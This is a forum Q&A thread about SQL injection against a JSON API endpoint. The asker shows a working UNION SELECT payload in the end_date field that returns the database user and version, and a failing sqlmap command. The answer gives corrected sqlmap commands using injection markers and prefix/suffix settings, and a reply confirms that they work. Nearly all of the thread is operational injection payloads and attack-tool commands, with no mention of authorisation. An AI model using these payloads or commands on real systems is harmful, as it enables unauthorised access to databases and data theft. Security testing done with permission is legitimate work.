0

This is post data, normally looks like this

{"end_date":"2018-8-26","start_date":"2018-8-26","success":1}

Below resulting "You have an error ..."

{"end_date":"2018-8-26'","start_date":"2018-8-26","success":1}

Below successfully print db version and user version

{"end_date":"00:00:00') union select 1,user(),version();--+","start_date":"","success":1}

What I've done so far is

python sqlmap.py -u http://redacted.com/api/v1/endpoint --headers="Authorization: Bearer xxxx" --data='{"end_date":"00:00:00","start_date":"2018-8-26","success":1}' -p "end_date" --sql-query="00:00:00') union select 1,user(),version();--+" -v 3

But Sqlmap still failed, where I'm doing wrong?

Thanks in advance.

1

You could try some of the following:

python sqlmap.py -u http://redacted.com/api/v1/endpoint --headers="Authorization: Bearer xxxx" --data='{"end_date":"00:00:00*","start_date":"2018-8-26","success":1}' --sql-query="') union select 1,user(),version();--+" -v 3

By using the astersisk you can tell sqlmap where to inject.

python sqlmap.py -u http://redacted.com/api/v1/endpoint --headers="Authorization: Bearer xxxx" --data='{"end_date":"00:00:00","start_date":"2018-8-26","success":1}' -p "end_date" --prefix="')" --suffix=";--+" -v 3

You can use prefix and suffix (as well as combine them with the asterisk) to precisely tell sqlmap where to put what in you injection attempt. Maybe that solves your problem already. Also you can have a closer look here.

  • still not working. :( – Dark Cyber Aug 27 '18 at 5:58
  • it works, I just need to press Y whenever sqlmap ask for redirection. thanks in advance. – Dark Cyber Aug 27 '18 at 8:59

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.